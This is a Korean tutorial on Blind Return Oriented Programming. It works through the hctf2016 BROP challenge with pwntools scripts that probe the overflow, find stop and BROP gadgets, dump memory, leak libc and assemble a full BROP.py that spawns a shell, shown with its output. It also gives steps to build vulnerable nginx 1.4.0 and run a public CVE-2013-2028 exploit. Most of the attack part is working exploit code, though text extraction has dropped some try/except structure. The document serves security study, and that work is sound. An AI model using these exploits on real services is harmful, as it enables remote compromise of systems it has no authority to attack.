08.BROP(Blind Return Oriented Programming) Excuse the ads! We need some help to keep our site up. List BROP(Blind Return Oriented Programming) BROP struct Find BROP Proof of concept Example code Test server settings Check Overflow Check stop gadget Check BROP gadget Get puts@plt address Dump memory Get puts@got address Leak address Libc Search Exploit code CVE-2013-2028 Setting up the test environment Download Exploit code Run Exploit code References BROP(Blind Return Oriented Programming) 소프트웨어를해킹할때대략 3가지의형태의공격대상이있습니다. Open-source ( 예 : Apache) Open-binary ( 예 : Internet Explorer) Closed-binary and source ( 예 : 일부독점네트워크서비스) BROP는 Closed-binary and source의서비스를공격할때사용할수있습니다. BROP는공격대상바이너리파일이없는상황에서 Exploit code를작성할수있는방법입니다. BROP 공격을사용하기위해서스택오버플로와 Crash가발생한후다시시작되는서비스가필요합니다. BROP 공격은서비스가 Crash가발생한후서비스의반응 ( 연결이닫히거나유지되거나 ) 을이용해완전한원격공격코드를구성할수있습니다. BROP 공격은원격시스템으로부터 Write() 와같은유용한 Gadget을가젯을유출합니다. 이러한가젯들을이용하여프로그램의메모리를덤프또는서비스프로그램의바이너리를추출할수있습니다. 그리고일반적인 ROP 공격도수행할수있습니다. BROP 공격은독점소프트웨어를공격하는것외에도바이너리가공개되지않은오픈소스소프트웨어를공격하는데매우유용합니다. BROP의공격순서는다음과같습니다. Stack overflow영역을찾고 Canaries 값도추출합니다. 다른가젯을찾을수있도록 ROP 체인을중지하는 "Stop Gadget" 를찾습니다. "Stop Gadget" 을이용하여레지스터에값을저장할수있는 "BROP Gadget" 을찾습니다. "BROP Gadget","Stop Gadget" 을이용하여필요한함수를찾습니다. read,write,strcmp, 등등이이후부터는일반적인 ROP와동일하게공격할수있습니다. BROP struct BROP 에대해설명하기전에 Stop Gadget 에대해간단하게설명하겠습니다. Stop Gadget 은 BROP Gadget 을찾기위해꼭필요함 Gadget 입니다. Stop Gadget 으로제일이상적인가젯은 Stack Overflow 전, 후의메시지가동일한것이제일이상적입니다. 즉, 해당프로그램을처음부터다시시작하거나, 취약성이있는함수의시작주소, 등이제일이상적입니다. BROP 는함수에인자값을전달하기위해필요한 Gadget 입니다. BROP 는다음과같은형태의 Gadget 을의미합니다. 주의할점은 pop instruction 이적은 BROP 를찾을경우어떤 Register 를사용하고있는지확인이어렵습니다. 즉, BROP Gadget 으로는 pop instruction 많고희소성이있는 Gadget 을찾는것이좋습니다.
ROP structure Number of registers ROP structure 1 pop register + ret 2 pop register * 2 + ret 3 pop register * 3 + ret 4 pop register * 4 + ret 5 pop register * 5 + ret 6 pop register * 6 + ret 다음과같이 Gadget은 POP instruction이많고희소성이있기때문에 BROP Gadget으로적합합니다. BROP Gadget 1 gdb-peda$ x/7i 0x4007ba 0x4007ba < libc_csu_init+90>: pop rbx 0x4007bb < libc_csu_init+91>: pop rbp 0x4007bc < libc_csu_init+92>: pop r12 0x4007be < libc_csu_init+94>: pop r13 0x4007c0 < libc_csu_init+96>: pop r14 0x4007c2 < libc_csu_init+98>: pop r15 0x4007c4 < libc_csu_init+100>: ret gdb-peda$ 그리고해당 BROP Gadget 의주소 (0x4007ba) 가까이에 "pop rdi; ret", "pop rsi; pop r15; ret" Gadget을찾을수있습니다. BROP Gadget 2 gdb-peda$ x/2i 0x4007ba + 9 0x4007c3 < libc_csu_init+99>: pop rdi 0x4007c4 < libc_csu_init+100>: ret gdb-peda$ x/3i 0x4007ba + 7 0x4007c1 < libc_csu_init+97>: pop rsi 0x4007c2 < libc_csu_init+98>: pop r15 0x4007c4 < libc_csu_init+100>: ret gdb-peda$ Find BROP 다음과같은형태로 BROP 가능성이있는 Gadget 을찾을수있습니다. Return address 에전달한값이값이 BROP 주소라면 Stack 에저장된값을레지스터에저장하고 Stop Gadget 으로이동하게됩니다. BROP 가아니라면프로세스가종료되거나 Memory leak 이발생합니다. 프로그램의반응을이용해 BROP 를찾을수있습니다. Number of registers ROP structure 1 BROP Address + p64(0x41) + Stop Gadget 2 BROP Address + p64(0x41) * 2 + Stop Gadget 3 BROP Address + p64(0x41) * 3 + Stop Gadget 4 BROP Address + p64(0x41) * 4 + Stop Gadget 5 BROP Address + p64(0x41) * 5 + Stop Gadget 6 BROP Address + p64(0x41) * 6 + Stop Gadget 그리고다음과같이 BROP Gadget 에대한검증이필요합니다. 앞에서설명한방식으로는 Stop Gadget 도 BROP Gadget 으로판단되기때문에다시한번검증이필요합니다.
앞에서설병한방식에서 Stop Gadget 을제거한값을전달해서프로세스가종료되거나에러가발생하면 BROP Gadget 이라고판단할수있습니다. Number of registers ROP structure 1 BROP Address + p64(0x41) 2 BROP Address + p64(0x41) * 2 3 BROP Address + p64(0x41) * 3 4 BROP Address + p64(0x41) * 4 5 BROP Address + p64(0x41) * 5 6 BROP Address + p64(0x41) * 6 Proof of concept Example code 아래코드는 hctf2016 에서출제된 BROP 문제입니다. puts() 함수를이용하여문자열을출력합니다. check() 함수를호출하여리턴되는값에 (True, False) 따라메시지가다르게출력됩니다. check() 함수는 read() 함수를이용하여사용자로부터값을입력받습니다. 입력받은값을저장할변수의크기는 50byte 이며, 사용자로부터입력받을수있는문자의수는 1024 입니다. 즉, 여기서 Stack Overflow 가발생합니다. 해당문제는소스코드와바이너리가제공되지않습니다. IP,Port 만제공되었으며힌트로 Overflow 크기만제공되었다고합니다. brop.c //gcc -fno-stack-protector brop.c -o brop #include <stdio.h> #include <unistd.h> #include <string.h> int i; int check(); int main(void){ setbuf(stdin,null); setbuf(stdout,null); setbuf(stderr,null); puts("welcome my friend,do you know password?"); if(!check()){ puts("do not dump my memory"); }else { puts("no password, no game"); } } int check(){ char buf[50]; read(stdin_fileno,buf,1024); return strcmp(buf,"aslvkm;asd;alsfm;aoeim;wnv;lasdnvdljasd;flk"); } Files run.sh brop https://github.com/zh-explorer/hctf2016-brop/blob/master/main.c Test server settings
다음과같은 script 를이용하여테스트환경을구현할수있습니다. run.sh #!/bin/sh while true; do num=`ps -ef grep "socat" grep -v "grep" wc -l` if [ $num -eq 0 ]; then socat tcp4-listen:10001,reuseaddr,fork exec:./brop & fi done run.sh lazenca0x0@ubuntu:~/exploit/brop$./run.sh Check Overflow 다음코드를이용하여 Overflow 가발생하는문자열의길이를확인할수있습니다. 서버에전달할문자열의길이를 1 씩증가시켜서전달합니다. 문자열전달후서버의응답을확인합니다. "No password, no game" 이출력되면정상적인동작 "No password, no game" 이출력되지않으면 Overflow 발생 check_overflow() from pwn import * ip = '127.0.0.1' port = 10001 def check_overflow(): for i in range(1,4096): response = r.send("a" * i) response = r.recv() if 'No password, no game' in response: i += 1 else: r.close return i except EOFError as e: return i - 1 size = check_overflow() log.info('overflow size : ' + str(size)) 해당스크립드를실행하면다음과같이문자열의길이를확인할수있습니다. 즉, 해당길이의문자열뒤에원하는값을저장하면 Return address 를덮어쓸수있습니다. python./check_overflow.py lazenca0x0@ubuntu:~/exploit/brop$ python./check_overflow.py [*] Overflow size : 72 Check stop gadget
다음코드를이용하여 Stop Gadget 을찾을수있습니다. Return address 영역에 0x400000 부터값을 1 씩증가시켜시면서 Stop Gadget 을찾습니다. Return address 에저장된주소에의해 "WelCome my friend,do you know password?\n' 문자열이다시출력되는영역을찾습니다. find_stop_gadget base = 0x400000 def find_stop_gadget(size): p = log.progress("searching for Stop gadget ") for offset in range(1,0x1000): addr = int(base + offset) payload += 'A' * size payload += p64(addr) if offset % 0x100 == 0: log.info(" Progressed to 0x%x" % offset) r.send(payload) response = r.recv(timeout=0.2) if 'WelCome my friend,do you know password?' in response: p.success("done") log.info("stop address: " + hex(addr)) return addr except Exception as e: 다음과같이앞에서작성한스크립트를이용해 Stop Gadget 을찾을수있습니다. python./find_stop_gadget.py lazenca0x0@ubuntu:~/exploit/brop$ python./find_stop_gadget.py [*] Overflow size : 72 [+] Searching for Stop gadget : Done [*] Progressed to 0x100 [*] Progressed to 0x200 [*] Progressed to 0x300 [*] Progressed to 0x400 [*] Progressed to 0x500 [*] Stop address: 0x4005c0 발견된 Stop Gadget 은 "_start() 함수의시작주소 " 입니다. 즉, 해당함수에의해 main() 함수가다시호출됩니다.
_start lazenca0x0@ubuntu:~/exploit/brop$ gdb -q./brop Reading symbols from./brop...(no debugging symbols found)...done. gdb-peda$ x/10i 0x4005c0 0x4005c0 <_start>: xor ebp,ebp 0x4005c2 <_start+2>: mov r9,rdx 0x4005c5 <_start+5>: pop rsi 0x4005c6 <_start+6>: mov rdx,rsp 0x4005c9 <_start+9>: and rsp,0xfffffffffffffff0 0x4005cd <_start+13>: push rax 0x4005ce <_start+14>: push rsp 0x4005cf <_start+15>: mov r8,0x4007d0 0x4005d6 <_start+22>: mov rcx,0x400760 0x4005dd <_start+29>: mov rdi,0x4006b6 gdb-peda$ Check BROP gadget 우선 BROP Gadget의가능성이있는 Gadget을찾기위해다음과같은형태의 ROP코드를전달합니다. 기본적인코드의형태는 Stop Gadget을찾을때와동일합니다. Paylaod에 BROP Gadget을찾기위해 Return address 영역뒤에레지스터에저장할값을저장하고마지막에 Stop Gadget을저장하였습니다. 여기에서는앞에서설명한 POP Instruction이 6개인 BROP를찾습니다. def maybe_brop_gadget(size, stop_gadget, addr): def maybe_brop_gadget(size, stop_gadget, addr): payload += 'A' * size payload += p64(addr) payload += p64(0) * 6 payload += p64(stop_gadget) response = r.recv(timeout=0.2) if 'WelCome my friend,do you know password?' in response: return True return False except Exception as e: return False 다음과같이 Stop Gadget 을제거하고 BROP Gadget 으로추측되는주소만을사용해서전달합니다. 예외가발생하면 BROP Gadget 으로판단합니다.
def is_brop_gadget(size,addr): def is_brop_gadget(size,addr): payload += 'A' * size payload += p64(addr) payload += p64(0x41) * 10 response = r.recv() return False except Exception as e: return True 다음코드를이용하여 BROP Gadget 을찾을수있습니다. def find_brop_gadget(size,stop_gadget): def find_brop_gadget(size,stop_gadget): p = log.progress("searching for BROP gadget ") for offset in range(0x1,0x1000): if offset % 0x100 == 0: log.info('progressed to 0x%x' % offset) addr = int(base + offset) if maybe_brop_gadget(size,stop_gadget,addr): log.info('maybe BROP Gagget : ' + hex(int(base + offset))) if is_brop_gadget(size, addr): p.success("done") log.info('finded BROP Gagget : ' + hex(int(base + offset))) return addr 다음과같이 BROP Gadget 을찾을수있습니다. 앞에서설명했듯이 "pop rdi; ret" Gadget 도찾을수있습니다.
Find BROP Gadget lazenca0x0@ubuntu:~/exploit/brop$ python maybe_brop_gadget.py [*] Overflow size : 72 [+] Searching for Stop gadget : Done [*] Progressed to 0x100 [*] Progressed to 0x200 [*] Progressed to 0x300 [*] Progressed to 0x400 [*] Progressed to 0x500 [*] Stop address: 0x4005c0 [+] Searching for BROP gadget : Done [*] Progressed to 0x100 [*] Progressed to 0x200 [*] Progressed to 0x300 [*] Progressed to 0x400 [*] Progressed to 0x500 [*] Maybe BROP Gagget : 0x4005c0 [*] Maybe BROP Gagget : 0x4005c2 [*] Maybe BROP Gagget : 0x4005c3 [*] Maybe BROP Gagget : 0x4005c5 [*] Maybe BROP Gagget : 0x4005c6 [*] Maybe BROP Gagget : 0x4005c7 [*] Maybe BROP Gagget : 0x4005c9 [*] Maybe BROP Gagget : 0x4005cd [*] Maybe BROP Gagget : 0x4005ce [*] Maybe BROP Gagget : 0x4005cf [*] Maybe BROP Gagget : 0x4005d0 [*] Maybe BROP Gagget : 0x4005d6 [*] Maybe BROP Gagget : 0x4005d7 [*] Maybe BROP Gagget : 0x4005dd [*] Maybe BROP Gagget : 0x4005de [*] Progressed to 0x600 [*] Maybe BROP Gagget : 0x4006b6 [*] Maybe BROP Gagget : 0x4006b7 [*] Maybe BROP Gagget : 0x4006b8 [*] Maybe BROP Gagget : 0x4006ba [*] Maybe BROP Gagget : 0x4006ce [*] Maybe BROP Gagget : 0x4006e2 [*] Maybe BROP Gagget : 0x4006f6 [*] Progressed to 0x700 [*] Maybe BROP Gagget : 0x4007ba [*] Finded BROP Gagget : 0x4007ba [+] BROP Gadget : 0x4007ba [+] RDI Gadget : 0x4007c3 Get puts@plt address 다음과같은방법으로 puts 함수의 plt 주소를찾을수있습니다. 해당프로그램에서문자를출력할때 printf(),puts() 함수를사용하고있다고가정을합니다. 해당함수들은첫번째인자값으로전달된주소에저장된값을출력합니다. 해당바이너리에 PIE 설정되지않았기때문에프로세스의기본시작주소는 0x400000 입니다. 그리고 0x400000 영역에 "\x7felf" 문자가저장되어있습니다., addr, "\x7felf" puts.
def find_puts_addr(size,stop_gadget,rdi_ret): def find_puts_addr(size,stop_gadget,rdi_ret): p = log.progress("searching for the address of puts@plt") for offset in range(1,0x1000): addr = int(base + offset) payload += 'A' * size + p64(rdi_ret) payload += p64(0x400000) payload += p64(addr) payload += p64(stop_gadget) if offset % 0x100 == 0: log.info('progressed to 0x%x' % offset) response = r.recv() if response.startswith('\x7felf'): p.success("done") log.success('find puts@plt addr: 0x%x' % addr) return addr addr += 1 except Exception as e: addr += 1 다음과같이 puts함수의 plt 주소를찾을수있습니다.
Find puts@plt lazenca0x0@ubuntu:~/exploit/brop$ python find_puts_addr.py [*] Overflow size : 72 [+] Searching for Stop gadget : Done [*] Progressed to 0x100 [*] Progressed to 0x200 [*] Progressed to 0x300 [*] Progressed to 0x400 [*] Progressed to 0x500 [*] Stop address: 0x4005c0 [+] Searching for BROP gadget : Done [*] Progressed to 0x100 [*] Progressed to 0x200 [*] Progressed to 0x300 [*] Progressed to 0x400 [*] Progressed to 0x500 [*] Maybe BROP Gagget : 0x4005c0 [*] Maybe BROP Gagget : 0x4005c2 [*] Maybe BROP Gagget : 0x4005c3 [*] Maybe BROP Gagget : 0x4005c5 [*] Maybe BROP Gagget : 0x4005c6 [*] Maybe BROP Gagget : 0x4005c7 [*] Maybe BROP Gagget : 0x4005c9 [*] Maybe BROP Gagget : 0x4005cd [*] Maybe BROP Gagget : 0x4005ce [*] Maybe BROP Gagget : 0x4005cf [*] Maybe BROP Gagget : 0x4005d0 [*] Maybe BROP Gagget : 0x4005d6 [*] Maybe BROP Gagget : 0x4005d7 [*] Maybe BROP Gagget : 0x4005dd [*] Maybe BROP Gagget : 0x4005de [*] Progressed to 0x600 [*] Maybe BROP Gagget : 0x4006b6 [*] Maybe BROP Gagget : 0x4006b7 [*] Maybe BROP Gagget : 0x4006b8 [*] Maybe BROP Gagget : 0x4006ba [*] Maybe BROP Gagget : 0x4006ce [*] Maybe BROP Gagget : 0x4006e2 [*] Maybe BROP Gagget : 0x4006f6 [*] Progressed to 0x700 [*] Maybe BROP Gagget : 0x4007ba [*] Finded BROP Gagget : 0x4007ba [+] BROP Gadget : 0x4007ba [+] RDI Gadget : 0x4007c3 [+] Searching for the address of puts@plt : Done [*] Progressed to 0x100 [*] Progressed to 0x200 [*] Progressed to 0x300 [*] Progressed to 0x400 [*] Progressed to 0x500 [+] find puts@plt addr: 0x400555 [+] Puts plt : 0x400555 Dump memory 다음코드를이용하여프로그램의메모리를덤프할수있습니다. 앞에서찾은 puts@plt 주소를이용하여프로그램메모리를덤프할수있습니다.
def memory_dump(size,stop_gadget,rdi_ret,put_plt): def memory_dump(size,stop_gadget,rdi_ret,put_plt): now = base end = 0x401000 dump = "" p = log.progress("memory dump") while now < end: if now % 0x100 == 0: log.info("progressed to 0x%x" % now) payload += 'A' * size payload += p64(rdi_ret) payload += p64(now) payload += p64(puts_plt) payload += p64(stop_gadget) data = r.recv(timeout=0.5) data = data[:data.index("\nwelcome")] except ValueError as e: data = data except Exception as e: continue if len(data.split()) == 0: data = '\x00' dump += data now += len(data) with open('memory.dump','wb') as f: f.write(dump) p.success("done") 스크립트를실행하면다음과같이 memory.dump 파일이생성됩니다.
memory.dump lazenca0x0@ubuntu:~/exploit/brop$ python memory_dump.py [*] Overflow size : 72 [+] BROP Gadget : 0x4007ba [+] RDI Gadget : 0x4007c3 [+] Puts plt : 0x400555 [+] Memory dump: Done [*] Progressed to 0x400000 [*] Progressed to 0x400100 [*] Progressed to 0x400200 [*] Progressed to 0x400300 [*] Progressed to 0x400400 [*] Progressed to 0x400500 [*] Progressed to 0x400900 [*] Progressed to 0x400a00 [*] Progressed to 0x400b00 [*] Progressed to 0x400c00 [*] Progressed to 0x400d00 [*] Progressed to 0x400e00 [*] Progressed to 0x400f00 lazenca0x0@ubuntu:~/exploit/brop$ ls brop BROP.py libc memory.dump run.sh lazenca0x0@ubuntu:~/exploit/brop$ file memory.dump memory.dump: ERROR: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked error reading (Invalid argument) lazenca0x0@ubuntu:~/exploit/brop$ Get puts@got address 다음과같이 dump 된파일을이용하여 puts 함수의 got 주소값을찾을수있습니다. radare 를이용하여덤프한파일의분석이가능하며, 해당파일에서 puts@plt 영역을분석할수있습니다. 아래코드를보면 puts@plt 의실제주소는 0x00400560 이며, puts@got 의주소는 0x601018(0x00400566 + 0x200ab2) 라는것을확인할수있습니다. r2 -B 0x400000 memory.dump lazenca0x0@ubuntu:~/exploit/brop$ r2 -B 0x400000 memory.dump Warning: Cannot initialize program headers Warning: read (shdr) at 0x1b30 Warning: Cannot initialize section headers Warning: Cannot initialize strings table Warning: read (init_offset) Warning: read (main) Warning: read (get_fini) [0x008005c0]> pd 10 @ 0x400555 0x00400555 00ff add bh, bh 0x00400557 25b40a2000 and eax, 0x200ab4 0x0040055c 0f1f4000 nop [rax] 0x00400560 ff25b20a2000 jmp qword [rip+0x200ab2] 0x00400566 6800000000 push 0x0 0x0040056b e9e0ffffff jmp 0x400550 0x00400570 ff25aa0a2000 jmp qword [rip+0x200aaa] 0x00400576 6801000000 push 0x1 ; 0x00000001 0x0040057b e9d0ffffff jmp 0x400550 0x00400580 ff25a20a2000 jmp qword [rip+0x200aa2] [0x008005c0]>? 0x00400566 + 0x200ab2 6295576 0x601018 030010030 6.0M 60000:0018 6295576 00011000 6295576.0 0.000000 https://radare.gitbooks.io/radare2book/content/introduction/commandline_flags.html Leak address
다음코드를이용하여 puts@got 영역에저장된 libc address 를추출할수있습니다. def leak_libc(r,size,stop_gadget,rdi_ret,put_plt,puts_got): def leak_libc(r,size,stop_gadget,rdi_ret,put_plt,puts_got): payload += 'A' * size payload += p64(rdi_ret) payload += p64(puts_got) payload += p64(puts_plt) payload += p64(stop_gadget) leakaddr = r.recvuntil("\nwelcome my friend,do you know password?\n", drop=true) leakaddr = u64(leakaddr.ljust(8, '\x00')) return leakaddr Leak the address of Libc lazenca0x0@ubuntu:~/exploit/brop$ python leak_address.py [*] Overflow size : 72 [+] BROP Gadget : 0x4007ba [+] RDI Gadget : 0x4007c3 [+] Puts plt : 0x400555 [*] Address of puts in libc : 0x7f760f884690 lazenca0x0@ubuntu:~/exploit/brop$ Libc Search 다음과같이 libc-database 에서제공하는프로그램을이용하여 libc 의정보를찾을수있습니다. puts@got 에저장된값을추출하여프로그램에서사용하는 libc 파일의종류및필요한함수의 offset 을찾을수있습니다. Libc Search - libc-database lazenca0x0@ubuntu:~/exploit/brop/libc/libc-database$./add /usr/lib/libc-2.26.so lazenca0x0@ubuntu:~/exploit/brop/libc/libc-database$./find puts 690 ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64) lazenca0x0@ubuntu:~/exploit/brop/libc/libc-database$./dump libc6_2.23-0ubuntu10_amd64 offset libc_start_main_ret = 0x20830 offset_system = 0x0000000000045390 offset_dup2 = 0x00000000000f7970 offset_read = 0x00000000000f7250 offset_write = 0x00000000000f72b0 offset_str_bin_sh = 0x18cd57 lazenca0x0@ubuntu:~/exploit/brop/libc/libc-database$./dump libc6_2.23-0ubuntu10_amd64 puts offset_puts = 0x000000000006f690 lazenca0x0@ubuntu:~/exploit/brop/libc/libc-database$ libc-database https://github.com/niklasb/libc-database 다음과같이 Python 패키지형태로사용가능합니다.
Libc Search - python from LibcSearcher import * lib = LibcSearcher('puts', addr_puts_libc) libcbase = addr_puts_libc - lib.dump('puts') system_addr = libcbase + lib.dump('system') binsh_addr = libcbase + lib.dump('str_bin_sh') log.info('libc base : ' + hex(libcbase)) log.info('system : ' + hex(system_addr)) log.info('binsh : ' + hex(binsh_addr)) LibcSearcher https://github.com/lieanu/libcsearcher Find libc offset lazenca0x0@ubuntu:~/exploit/brop$ python libc_search.py [*] Overflow size : 72 [*] STOP Gadget : 0x4005c0 [*] BROP Gadget : 0x4007ba [*] RDI Gadget : 0x4007c3 [*] Puts plt : 0x400555 [+] ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64) be choosed. [*] libc base : 0x7fc974723000 [*] system : 0x7fc974768390 [*] binsh : 0x7fc9748afd57 Exploit code BROP.py from pwn import * from LibcSearcher import * #context.log_level = 'debug' ip = '127.0.0.1' port = 10001 base = 0x400000 def find_stop_gadget(size): p = log.progress("searching for Stop gadget ") for offset in range(1,0x1000): addr = int(base + offset) payload += 'A' * size payload += p64(addr) if offset % 0x100 == 0: log.info(" Progressed to 0x%x" % offset) r.send(payload) response = r.recv(timeout=0.2)
if 'WelCome my friend,do you know password?' in response: p.success("done") log.info("stop address: " + hex(addr)) return addr except Exception as e: def check_overflow(): for i in range(1,4096): response = r.send("a" * i) response = r.recv() if 'No password, no game' in response: i += 1 else: return i except EOFError as e: return i - 1 def maybe_brop_gadget(size, stop_gadget, addr): payload += 'A' * size payload += p64(addr) payload += p64(0) * 6 payload += p64(stop_gadget) response = r.recv(timeout=0.2) if 'WelCome my friend,do you know password?' in response: return True return False except Exception as e: return False def is_brop_gadget(size,addr): payload += 'A' * size payload += p64(addr) payload += p64(0x41) * 10 response = r.recv() return False except Exception as e: return True def find_brop_gadget(size,stop_gadget): p = log.progress("searching for BROP gadget ") for offset in range(0x1,0x1000): if offset % 0x100 == 0:
log.info('progressed to 0x%x' % offset) addr = int(base + offset) if maybe_brop_gadget(size,stop_gadget,addr): log.info('maybe BROP Gagget : ' + hex(int(base + offset))) if is_brop_gadget(size, addr): p.success("done") log.info('finded BROP Gagget : ' + hex(int(base + offset))) return addr def find_puts_addr(size,stop_gadget,rdi_ret): p = log.progress("searching for the address of puts@plt") for offset in range(1,0x1000): addr = int(base + offset) payload += 'A' * size + p64(rdi_ret) payload += p64(0x400000) payload += p64(addr) payload += p64(stop_gadget) if offset % 0x100 == 0: log.info('progressed to 0x%x' % offset) response = r.recv() if response.startswith('\x7felf'): p.success("done") log.success('find puts@plt addr: 0x%x' % addr) return addr addr += 1 except Exception as e: addr += 1 def memory_dump(size,stop_gadget,rdi_ret,put_plt): now = base end = 0x401000 dump = "" p = log.progress("memory dump") while now < end: if now % 0x100 == 0: log.info("progressed to 0x%x" % now) payload += 'A' * size payload += p64(rdi_ret) payload += p64(now) payload += p64(puts_plt) payload += p64(stop_gadget) data = r.recv(timeout=0.5) data = data[:data.index("\nwelcome")] except ValueError as e: data = data except Exception as e: continue if len(data.split()) == 0:
data = '\x00' dump += data now += len(data) with open('memory.dump','wb') as f: f.write(dump) p.success("done") def leak_libc(r,size,stop_gadget,rdi_ret,put_plt,puts_got): payload += 'A' * size payload += p64(rdi_ret) payload += p64(puts_got) payload += p64(puts_plt) payload += p64(stop_gadget) leakaddr = r.recvuntil("\nwelcome my friend,do you know password?\n", drop=true) leakaddr = u64(leakaddr.ljust(8, '\x00')) return leakaddr size = check_overflow() log.info('overflow size : ' + str(size)) stop_gadget = find_stop_gadget(size) #stop_gadget = 0x4005c0 brop_gadget = find_brop_gadget(size, stop_gadget) #brop_gadget = 0x4007ba log.success('brop Gadget : ' + hex(brop_gadget)) rdi_gadget = brop_gadget + 9 log.success('rdi Gadget : ' +hex(rdi_gadget)) puts_plt = find_puts_addr(size,stop_gadget,rdi_gadget) #puts_plt = 0x400555 log.success('puts plt : ' + hex(puts_plt)) #memory_dump(size,stop_gadget,rdi_gadget,puts_plt) puts_got = 0x601018 addr_puts_libc = leak_libc(r,size,stop_gadget,rdi_gadget,puts_plt,puts_got) log.info('address of puts in libc : ' + hex(addr_puts_libc)) lib = LibcSearcher('puts', addr_puts_libc) libcbase = addr_puts_libc - lib.dump('puts') system_addr = libcbase + lib.dump('system') binsh_addr = libcbase + lib.dump('str_bin_sh') log.info('libc base : ' + hex(libcbase)) log.info('system : ' + hex(system_addr)) log.info('binsh : ' + hex(binsh_addr)) payload = "A" * size payload += p64(rdi_gadget) payload += p64(binsh_addr) payload += p64(system_addr) payload += p64(stop_gadget) r.interactive() 다음과같이 Shell 을획득할수있습니다.
python BROP.py lazenca0x0@ubuntu:~/exploit/brop$ python BROP.py [+] Overflow size : 72 [*] Progressed to 0x100 [*] Progressed to 0x200 [*] Progressed to 0x300 [*] Progressed to 0x400 [*] Progressed to 0x500 [*] Stop address: 0x4005c0 [+] STOP Gadget : 0x4005c0 [*] Progressed to 0x100 [*] Progressed to 0x200 [*] Progressed to 0x300 [*] Progressed to 0x400 [*] Progressed to 0x500 [*] Maybe BROP Gagget : 0x4005c0 [*] Maybe BROP Gagget : 0x4005c2 [*] Maybe BROP Gagget : 0x4005c3 [*] Maybe BROP Gagget : 0x4005c5 [*] Maybe BROP Gagget : 0x4005c6 [*] Maybe BROP Gagget : 0x4005c7 [*] Maybe BROP Gagget : 0x4005c9 [*] Maybe BROP Gagget : 0x4005cd [*] Maybe BROP Gagget : 0x4005ce [*] Maybe BROP Gagget : 0x4005cf [*] Maybe BROP Gagget : 0x4005d0 [*] Maybe BROP Gagget : 0x4005d6 [*] Maybe BROP Gagget : 0x4005d7 [*] Maybe BROP Gagget : 0x4005dd [*] Maybe BROP Gagget : 0x4005de [*] Progressed to 0x600 [*] Maybe BROP Gagget : 0x4006b6 [*] Maybe BROP Gagget : 0x4006b7 [*] Maybe BROP Gagget : 0x4006b8 [*] Maybe BROP Gagget : 0x4006ba [*] Maybe BROP Gagget : 0x4006ce [*] Maybe BROP Gagget : 0x4006e2 [*] Maybe BROP Gagget : 0x4006f6 [*] Progressed to 0x700 [*] Maybe BROP Gagget : 0x4007ba [*] Finded BROP Gagget : 0x4007ba [+] BROP Gadget : 0x4007ba [+] RDI Gadget : 0x4007c3 [*] Progressed to 0x100 [*] Progressed to 0x200 [*] Progressed to 0x300 [*] Progressed to 0x400 [*] Progressed to 0x500 [+] Puts plt : 0x400555 [+] ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64) be choosed. [+] libc base : 0x7f8e66eec000 [+] system : 0x7f8e66f31390 [+] binsh : 0x7f8e67078d57 $ id uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev), 113(lpadmin),128(sambashare) $ lazenca0x0@ubuntu:~/exploit/brop$ CVE-2013-2028 해당취약성은 BROP를이용하여공격이가능한취약성입니다. BROP에흥미가있다면해당취약성을이용하여조금더공부해보는것도좋습니다. 여기에서는해당취약성에대해공개된 BROP Exploit code를테스트하는환경까지만설명하겠습니다. Setting up the test environment
Install sudo apt-get update sudo apt-get install libpcre3 libpcre3-dev sudo apt-get install openssl libssl-dev wget nginx.org/download/nginx-1.4.0.tar.gz tar zxvf nginx-1.4.0.tar.gz cd nginx-1.4.0./configure --sbin-path=/usr/local/nginx/nginx --conf-path=/usr/local/nginx/nginx.conf --pid-path=/usr/local /nginx/nginx.pid --with-http_ssl_module vi objs/makefile Makefile 에 -fstack-protector 을추가합니다. vi objs/makefile... CFLAGS = -pipe -O -W -Wall -Wpointer-arith -Wno-unused -Werror -g -fstack-protector... 다음과같이해당코드를빌드합니다. Build nginx make -j4 sudo make install nginx.conf 에서동작할프로세스의수를증가시킵니다. sudo vi /usr/local/nginx/nginx.conf worker_processes 4; 다음과같이 nginx 를실행합니다. Run nginx sudo /usr/local/nginx/nginx Download Exploit code wget www.scs.stanford.edu/brop/nginx-1.4.0-exp.tgz tar zxvf nginx-1.4.0-exp.tgz cd nginx-1.4.0-exp Run Exploit code 기본적으로 shell 을획들하도록되어있으며, nginx 바이너리파일을덤프하는기능은주석처리되어있습니다../brop.rb 127.0.0.1 References https://oddcoder.com/brop-102/ https://github.com/sam-b/broppy https://www.anquanke.com/post/id/85331
https://github.com/zh-explorer/hctf2016-brop http://muhe.live/2017/01/22/have-fun-with-blind-rop/ http://www.scs.stanford.edu/~sorbo/brop/bittau-brop.pdf https://en.wikipedia.org/wiki/blind_return_oriented_programming https://github.com/zh-explorer/hctf2016-brop/blob/master/main.c https://github.com/firmianay/ctf-all-in-one/blob/master/doc/6.1.1_pwn_hctf2016_brop.md https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2015/june/blind-return-oriented-programming/ https://github.com/shadowshusky/ctf-wiki/blob/15a55481c5fcb8b998f4affc98be40839a4f713a/pwn/stackoverflow/example/hctf2016- brop/exploit.py